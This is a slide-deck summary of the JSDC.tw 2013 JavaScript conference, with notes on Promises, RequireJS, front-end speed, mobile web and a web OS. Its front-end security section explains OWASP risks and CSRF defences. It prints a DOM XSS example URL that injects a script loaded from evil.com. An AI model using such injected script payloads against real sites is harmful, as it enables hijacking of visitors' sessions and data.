jsdc.tw 2013 summary

JSDC.tw 2013 Summary

GAIS LAB group Meeting 05/29alan7

JSDC

+

• JavaScript.tw• HTML5&CSS5 • Node.js

所有懶人包 : http://goo.gl/bvvFb

Conference in 2013名稱內容日期價格WebConf 網頁開發者研討會 01/12 ~ 13 1300/780

ConCom 研討會的組織工作者的會議 ( 餐會 )

02/23 -

SITCON 由學生自發舉辦之聚會 03/16 免費OSDC 開放源碼開發者研討會 04/19 ~ 20 500

ICOS 開放源碼國際研討會 04/26 ~ 28 免費JSDC JavaScript 技術研討會 05/18 ~ 19 1800/1000

PyCon Python 社群年會 05/25 ~ 26 4500/2500/1500

DrupalCamp 致力推廣 Drupal 07/06 ~ 07( 暫定 )

900/600

HITCON 駭客年會 07/19~20 3000/1500

JavaTwo (oracle) Java Developer Day 08/02 1400/1200

COSCUP 開源人年會 08/03~04 免費PHPConf PHP 年會 10/05 未定MOPCON 行動應用技術研討會 10/26-27 未定

http://goo.gl/UJmZ0

About conference

• General Topic – usually from most important provider– For all

• Specify Topic– Run on the same time– Select the Issue which you’d like

All Topic (day 1)• 1.KeyNote :The evolution of JavaScript & Public Cloud - Joe Ziegler / Amazon Web Services• 2-1.The seven year itch with ExtJS - Calvin Yeh / Pastico• 2-2. 从前端到终端 — 跨越平台的前端技术 - 王文明 / 奇虎360

• 2-3.Easier async -flow control 的原理、應用、實作及展望 -馮旭平 / 吉立富資訊• 3-1.Node.js 佈署常見問題 - Steven XP / Fandora• 3-2.JavaScript 開發實戰：效能調校與常見陷阱 - Will 保哥 / 多奇數位創意• 3-3.RequireJs - Using AMD to fight the good,the bad and the ugly of JavaScript. - David Shariff / Richi• 4-1. 我編譯故我在：誰說 Node.js 程式不能編成 Binary - Fred Chien / Mandice• 4-2. 愛料理網站前端開發經驗談 - Lawrence Lin / Polydice• 4-3. 為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理 - xdite / RocoDev• 5-1. 如何教設計師前端技術 - EvenWu / evendesign• 5-2. 前端工程師的資安挑戰 – Ant• 5-3. OMG ！ Mobile Web can do that ？ - Sean / youmeb

Easier async -flow control

• Javascript 怎麼執行非同步程式？• Callback ，或是稱作 Continuation-passing

Style (CPS)– 從函數的參數，接收一個外部的函數或物件– 在函數執行完畢時，不返回執行結果，而呼叫外部函數或物件的方法，把執行結果傳遞給它

(continuation passing)


• Why Using flow control– 需要 CPS 又需要循序執行– Ex. 跟 server 要數字 A 去跟 B 計算再跟 server要 C 去算出結果– 嵌套• 不易閱讀、維護、編輯


• How?– 內部無法判定交由函數外部– http://jsfiddle.net/bwT6r/– 循序執行範例 http://jsfiddle.net/X7EL9/– 把結果往後傳之範例 http://jsfiddle.net/SqAsZ/

• 其實也有很多 lib 可供直接使用– 推薦的 : https://github.com/caolan/async/

• 很多流程控制函數 parallel 、 serial 、 waterfall• 提供一些非同步工具

– 沒有標準做法，所以市面上有幾十種類似的工具，各有優缺點

http://jsfiddle.net/bwT6r/

http://jsfiddle.net/bwT6r/

http://jsfiddle.net/X7EL9/

http://jsfiddle.net/X7EL9/

http://jsfiddle.net/SqAsZ/

http://jsfiddle.net/SqAsZ/

https://github.com/caolan/async/

Easier async -flow control• 另外一個方法： Promise

– 相關 :Future 、 Deferred 、 Promise ，都是類似的概念– 不需要使用 CPS ，改用 Promise 物件來維護、傳遞執行狀態

• Promise 物件只有三種狀態：– 初始的 unfulfill 狀態– 代表執行成功的 fulfill 狀態（ resolved ）– 代表執行失敗的 fail 狀態（ rejected ）

• Promise 物件有一個 then 方法：– p.then(success_func, fail_func)

• then 方法的執行結果也是一個 Promise ，所以可以串接下去

Easier async -flow control• Promise 的一些優點– 使用起來很簡單明瞭，基本上只需要知道：

• 狀態只會從 unfulfill轉變成 fulfill 或是 fail ，一旦變成 fulfill 或是fail ，就不會變動

• 基本上 Promise/A 只定義一個操作介面，就是 then– then中指定的函數不需要額外的 Callback ，只需要返回執行結果。再加個 then就可以繼續串接執行下去，這樣比 CPS 還要直覺– 它會考慮到 error handling ，所有發生的 exception 都會被處理– Promise 開始形成標準，未來甚至可能成為 Javascript 內建的

物件

http://wiki.commonjs.org/wiki/Promises/A

http://wiki.ecmascript.org/doku.php?id=strawman:concurrency

http://wiki.ecmascript.org/doku.php?id=strawman:concurrency


• Promise 的一些缺點• 目前已經有一些 Promise/A+ 標準的實作，包括 jQuery1.5+ 、 WinJS for win8 app 、 Q等，但是各家實作差異其實也還不小• WinJS.Promise 物件與 jQuery Deferred 物件比較 by vexed– http://ithelp.ithome.com.tw/question/10118894

http://ithelp.ithome.com.tw/question/10118894


• JQuery Deferred 範例


• Promise 注意事項– 如果自己控制 Promise ，尤其是一群 Promise陣列，一定要讓所有的 Promise 物件狀態走到

fulfill 或是 fail ，否則程式就停住不前進了–可以在 then中的函數裡面使用 Promise 來控制流程，不過有些流程是可以抽到外面來的，並不需要放在內層

All Topic (day 1)• 1.KeyNote :The evolution of JavaScript & Public Cloud - Joe Ziegler / Amazon Web Services• 2-1.The seven year itch with ExtJS - Calvin Yeh / Pastico• 2-2. 从前端到终端 — 跨越平台的前端技术 - 王文明 / 奇虎 360• 2-3.Easier async -flow control 的原理、應用、實作及展望 - 馮旭平 / 吉立富資訊• 3-1.Node.js 佈署常見問題 - Steven XP / Fandora• 3-2.JavaScript 開發實戰：效能調校與常見陷阱 - Will 保哥 / 多奇數位創意• 3-3.RequireJs - Using AMD to fight the good,the bad

and the ugly of JavaScript. - David Shariff / Richi• 4-1. 我編譯故我在：誰說 Node.js 程式不能編成 Binary - Fred Chien / Mandice• 4-2. 愛料理網站前端開發經驗談 - Lawrence Lin / Polydice• 4-3. 為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理 - xdite / RocoDev• 5-1. 如何教設計師前端技術 - EvenWu / evendesign• 5-2. 前端工程師的資安挑戰 – Ant• 5-3. OMG ！ Mobile Web can do that ？ - Sean / youmeb

RequireJs - Using AMD

• Asynchronous Module Definition– Modules are encapsulated and sandboxed.– Create and reuse code from different products.– No cross domain loading issues, can load modules

without a build process or server-side tool.– Structured, clean codebase.– Async loading, managed dependencies.– Lazy load modules (stuff not used by the user yet can

be loaded in background when needed on demand).– Not a technology, but a specification proposal.


• Module vs. Frameworks– Frameworks suck?• You don't tell the framework what to do, it tells you.• Huge, complicated structure that is not relevant to your

application.– Modules Rock?• Single purpose responsibility.• Sandboxed.• Reusable, maintainable, scaleable, distributable.• Abstract interface with well defined import & export.


• AMD IMPLEMENTATION


• Two important concepts– DEFINE() VS REQUIRE()• Lazy evaluation of code contained inside module, only

executed when it's needed.• Once executed, subsequent calls are cached, no need

to fetch the module again.• One module per file.• When you only need to use modules, not create them.• Dependencies that can not be evaluated until runtime

or only loaded when a specific event occurs.


• Can inheritance


• Setting– baseURL– waitSeconds– urlArgs– Config– PATH– MAP

• Can be a project – Packages– Multiversion

All Topic (day 1)• 1.KeyNote :The evolution of JavaScript & Public Cloud - Joe Ziegler / Amazon Web Services• 2-1.The seven year itch with ExtJS - Calvin Yeh / Pastico• 2-2.从前端到终端 — 跨越平台的前端技术 - 王文明 / 奇虎 360• 2-3.Easier async -flow control 的原理、應用、實作及展望 - 馮旭平 / 吉立富資訊• 3-1.Node.js 佈署常見問題 - Steven XP / Fandora• 3-2.JavaScript 開發實戰：效能調校與常見陷阱 - Will 保哥 / 多奇數位創意• 3-3.RequireJs - Using AMD to fight the good,the bad and the ugly of JavaScript. - David Shariff /

Richi• 4-1.我編譯故我在：誰說 Node.js 程式不能編成 Binary - Fred Chien / Mandice• 4-2.愛料理網站前端開發經驗談 - Lawrence Lin / Polydice

• 4-3. 為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理 - xdite / RocoDev• 5-1.如何教設計師前端技術 - EvenWu / evendesign• 5-2.前端工程師的資安挑戰 – Ant• 5-3. OMG ！ Mobile Web can do that ？ - Sean / youmeb

為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理• 「網頁產生速度」

為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理• Scaling Websites– Front-end speed (7s -> 1s)– SQL Query speed (500ms -> 50ms)– Method speed (50ms -> 10ms)– Programing Language speed (5ms -> 2ms)

• Webpage 產生速度 = SQL Query speed + Method speed + Programing Language speed

為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理

為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理• Easy to apply Parallel Download– The HTTP/1.1 specification suggests that browsers

download no more than 2 components in parallel per hostname.

– If you serve your images from multiple hostnames, you can get more than two downloads to occur in parallel.

4 支 CSS 開 8 秒 => 4 支開 2 秒

為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理• As same to implement CDN (Content

Distribution Network)– Invalid Problem?

timestamp

為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理• minimal HTTP Request

為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理• CSS Sprite

– Powered by SCSS & Compass

為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理• ETag– provides for web cache validation– allows a client to make conditional requests– saves bandwidth

All Topic (day 1)• 1.KeyNote :The evolution of JavaScript & Public Cloud - Joe Ziegler / Amazon Web Services• 2-1.The seven year itch with ExtJS - Calvin Yeh / Pastico• 2-2. 从前端到终端 — 跨越平台的前端技术 - 王文明 / 奇虎 360• 2-3.Easier async -flow control 的原理、應用、實作及展望 - 馮旭平 / 吉立富資訊• 3-1.Node.js 佈署常見問題 - Steven XP / Fandora• 3-2.JavaScript 開發實戰：效能調校與常見陷阱 - Will 保哥 / 多奇數位創意• 3-3.RequireJs - Using AMD to fight the good,the bad and the ugly of JavaScript. - David

Shariff / Richi• 4-1. 我編譯故我在：誰說 Node.js 程式不能編成 Binary - Fred Chien / Mandice• 4-2. 愛料理網站前端開發經驗談 - Lawrence Lin / Polydice• 4-3. 為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理 - xdite / RocoDev• 5-1. 如何教設計師前端技術 - EvenWu / evendesign

• 5-2. 前端工程師的資安挑戰 – Ant• 5-3. OMG ！ Mobile Web can do that ？ - Sean / youmeb

前端工程師的資安挑戰• OWASP Top Ten 「網站應用程式十大弱點」

– 網頁安全– 每三年改版一次

• Injection (2nd SQL Injection)• Broken Authentication Session Management• Cross-Site Scripting (XSS) • Insecure Direct Object Reference• Security Misconfiguration• Sensitive Data Exposure• Missing Function Level Access Control• Cross-site Request Forgery (CSRF)• Using Known Vulnerable Components• Unvalidated Redirects and Forwards

前端工程師的資安挑戰• DOM XSS– 問題直接在 client 發生，利用類似如下

http://evil.com/#name#name並不會被送到 server 端而是直接在

local 執行所以會有下面這種狀況http://evil.com/#name<script src=http://evil.com/a.js></script>

–更進階的應用，直接弄成短網址根本看不出來

前端工程師的資安挑戰• CSRF– A. 不要用 HTTP GET 而是 HTTP POST – B. Referer 檢查 ( 還是有辦法偽造 )– C. Double Cookies– D. Form token/random token ( 很足夠去抵擋攻擊，但還是有機會被破 )– ClickJacking

前端工程師的資安挑戰• 引用他站的 js? (like CDN)

<script src=“http://cdn.com/t.js”></script>• CDN爆了… 你也爆了• 暗黑執行緒的大大說若 google被打下來也就認了

前端工程師的資安挑戰• 我不是大大之ㄧ些開發準則分享– Filter input– Escape output– One time token– 不要相信任何客戶端的驗證• Ex. 前端網頁的 maxlength 、 filter/vaildation 、 SQL

All Topic (day 1)• 6-1.中文網路字型 justfont 實作過程 - Michael / justfont• 6-2. 做更快一點工程師討生活工具介紹 - UP Chen / Nvesto

• 6-3. 關於 Mobile Web 開發二三事 - Eric Chuang / Yahoo

• 7-1.支援遊戲及互動應用的雲 -胡舜元 / 中央研究院資訊所多媒體網路與系統實驗室• 7-2. Building a Web OS based on Ext JS - Rex Huang / Synology• 7-3. Begin Three.js -廖一帆 / The ManX• 8-1.樸實與浮華 (Plain and Vanity) / (Usability & Performance) - Paul Li/ Yahoo• 8-2. 用 Node.JS 開發 KKBOX 一起聽 - Butany Chuang / KKBOX• 9-1. Optimizing Your Mobile Web Apps - Kuro Hsu• 9-2. Defensive backend programming with node.js - Ruben Tan / OnApp CDN Sdn Bhd• 10. Lightning talks

– Zhusee – Bumbler to speech 以 JS 實作簡易 audio sprites– 小 B – 從 Rails 到 Node + Backbone TouchLimit 的累死人砍掉重練– Irvin – 噗浪最近有點胖– YuTin – 從專案開發談終身大事– Fred – Stem OS – JavaScript OS– Blue – g0v & listening me

關於 Mobile Web 開發二三事• Mobile Web vs. Mobile App

關於 Mobile Web 開發二三事• 挑戰的複雜度 :–手機 x 瀏覽器 x OS版本 … .

• 降低 Page Load 的時間–減少 HTTP request 的數量–減少頁面大小–縮圖在伺服器上做– 後端要夠力– 後面就是 lib 的介紹

All Topic (day 1)• 6-1.中文網路字型 justfont 實作過程 - Michael / justfont• 6-2. 做更快一點工程師討生活工具介紹 - UP Chen / Nvesto• 6-3. 關於 Mobile Web 開發二三事 - Eric Chuang / Yahoo• 7-1.支援遊戲及互動應用的雲 -胡舜元 / 中央研究院資訊所多媒體網路與系統實驗室• 7-2. Building a Web OS based on Ext JS - Rex

Huang / Synology• 7-3. Begin Three.js -廖一帆 / The ManX• 8-1.樸實與浮華 (Plain and Vanity) / (Usability & Performance) - Paul Li/ Yahoo• 8-2. 用 Node.JS 開發 KKBOX 一起聽 - Butany Chuang / KKBOX• 9-1. Optimizing Your Mobile Web Apps - Kuro Hsu• 9-2. Defensive backend programming with node.js - Ruben Tan / OnApp CDN Sdn Bhd• 10. Lightning talks

– Zhusee – Bumbler to speech 以 JS 實作簡易 audio sprites– 小 B – 從 Rails 到 Node + Backbone TouchLimit 的累死人砍掉重練– Irvin – 噗浪最近有點胖– YuTin – 從專案開發談終身大事– Fred – Stem OS – JavaScript OS– Blue – g0v & listening me

Building a Web OS based on Ext JS

• Better User experience– Framework– JavaScript Loading– Object-Oriented Design– Window Management


• Ext JS– JavaScript framework for rich desktop apps– Cross-browser compatibility– Rich modern UI widgets


Inline scripts(<script src=“synology.js”>)blocks HTML renderingblocks parallel downloading(images/iframes)


• Async Loading– Add defer attribute<script src=“synology.js” defer ></script>– Add async attribute<script src=“synology.js” async ></script>


• Object-Oriented Design– Ext JS Class System– For example


• DOM cloneNodevar node = document.getElementById ("node");var clonedNode = node.cloneNode (true);// clear the id property of the cloned tableclonedNode.id = "";var previewBox =

document.getElementById("previewBox");previewBox.appendChild (clonedNode)


• CSS Transform: scale• transform: scale(x,y);• ms-transform: scale(x,y);• webkit-transform: scale(x,y);• moz-transform: scale(x,y);


• Window Management

?


• The manager manages communication between modules

All Topic (day 1)• 6-1.中文網路字型 justfont 實作過程 - Michael / justfont• 6-2. 做更快一點工程師討生活工具介紹 - UP Chen / Nvesto• 6-3. 關於 Mobile Web 開發二三事 - Eric Chuang / Yahoo• 7-1.支援遊戲及互動應用的雲 -胡舜元 / 中央研究院資訊所多媒體網路與系統實驗室• 7-2. Building a Web OS based on Ext JS - Rex Huang / Synology• 7-3. Begin Three.js -廖一帆 / The ManX• 8-1.樸實與浮華 (Plain and Vanity) / (Usability & Performance) - Paul Li/ Yahoo• 8-2. 用 Node.JS 開發 KKBOX 一起聽 - Butany Chuang / KKBOX• 9-1. Optimizing Your Mobile Web Apps - Kuro Hsu• 9-2. Defensive backend programming with node.js - Ruben Tan / OnApp CDN Sdn Bhd

• 10. Lightning talks– Zhusee – Bumbler to speech 以 JS 實作簡易 audio sprites

– 小 B – 從 Rails 到 Node + Backbone TouchLimit 的累死人砍掉重練– Irvin – 噗浪最近有點胖– YuTin – 從專案開發談終身大事– Fred – Stem OS – JavaScript OS– Blue – g0v & listening me

http://zhusee2.github.io/bumbler-to-speech/






All Topic (day 2)

• 1.KeyNote : F2E – The Keystone of the Industry - josephj (蔣定宇 ) / miiiCasa

• 2-1.Real-time web application with Socket.IO, Node.js and Redis. - York Tsai / EZTable

• 2-2. High-performance games and more in JavaScript with asm.js - Vladimir Vukicevic (Inventor of WebGL) /Mozilla Taiwan 美商謀智

• 2-3. Rock with Knockout.js - 流浪小風 / 91mai 就要買• 3-1. Web Worker 行不行 - Bingo Yang (楊秉桓 ) / hTC• 3-2.透視 JavaScript 的 MVC / MVP / MVVM -大澤木小鐵 / 台灣新浪• 3-3. 你不可不知的前端開發工具 - Appleboy / 瑞昱半導體• 4-1. 生在幸福的 JS 年代 (早期 JS 演進過程開發心得） - Hina Blue(閃光洽 )• 4-2. Mobile Web Game 經驗開發談 -陳世欽• 4-3. Magic “this“ - othree / hTC• 5-1. Titanium 入門實戰 30 分鐘教你寫出 youtube App + 會員系統 - Kevin

Huang / VideOhya• 5-2. Sketching with code - 阿修 (Justin Lee) / 旅人一番• 5-3.好的開發工具帶你上天堂 - Brooky Yen / EZTable

F2E – The Keystone of the Industry

• F2E (Front End Engineer)• 一般認知 :– JavaScript =玩具語言、跟後端相比簡單多了–入門容易、 better to have–薪水比較便宜

• 為什麼不可缺少 :– 工程師不愛切版 (重邏輯、資料不管呈現 )– 設計師不愛切版 (重呈現、不管作法 )


• 需打好基礎 :–每個 HTML TAG 的意義– 前端 != jQuery– JavaScript 跟 DOM API 的關連與區別– Event事件模型– AJAX 、 JSONP 是甚麼


• 避免盲目追求新技術–好的前端 !=知道很多技術– 能夠深入研究並且整合– 制定規範– 提升整體品質–幫大家解決問題–才能稱得上好的前端工程師


• 積極分享、多回饋– GitHub

• Http://f2eclass.com

http://f2eclass.com/

All Topic (day 2)

• 6-1. Your Phone is the Controller - Aidan Wu / SympaSoft

• 6-2. Porting to Web: An Introduction to Emscripten - Ting-Yuan Huang / Mozilla Taiwan 美商謀智• 6-3. 如何打造雲端開發平台 - Marty (許益祥 ) / 中冠資訊• 7-1. Ragic Interface 設計經驗分享 -長頸鹿 (liberation) / Ragic 立即科技• 7-2. 設計師！你 RWD 了沒？ - Nowill / Nowill Design• 8-1. CreateJS ：「從 Flash 到 JavaScript」 - 高見龍 / 高思數位網路• 8-2. Elastic Beanstalk: deploy your applications fast, effectively and elastically - Joe Ziegler / Amazon

Web Services• 9-1. XULRunner + JS 開發應用 - 阿土伯 / VIVIPOS• 9-2. Code for Quality – 提昇 JavaScript 撰寫品質。 - josephj / miiiCasa• 10-1. Lightning talks

– Gias Kay Less – Functional Programming in 5 minutes– Grassboy – 結合 " 無障礙 " 網頁設計規範的人類精神官能委靡驗證碼– tonypai – 進擊的鄉民– Crboy – 用 JS patch 你的網站– 阿修 – TiSippet– TonyQ – 前端與設計師真心合作

Your Phone is the Controller


• Why is HTML5 gaming so cool?– Install? Write once play anywhere– Graphics? Canvas & WebGL– Sounds? HTML5 audio– Communication? Multiplayer game server– Data? Web Storage / Offline– Controls? Keyboard and touch


• That’s strat with develop game

Conclusion

• 多參與社群• 多了解新知• 分享與回饋

Any Question?

jsdc.tw 2013 summary

Documents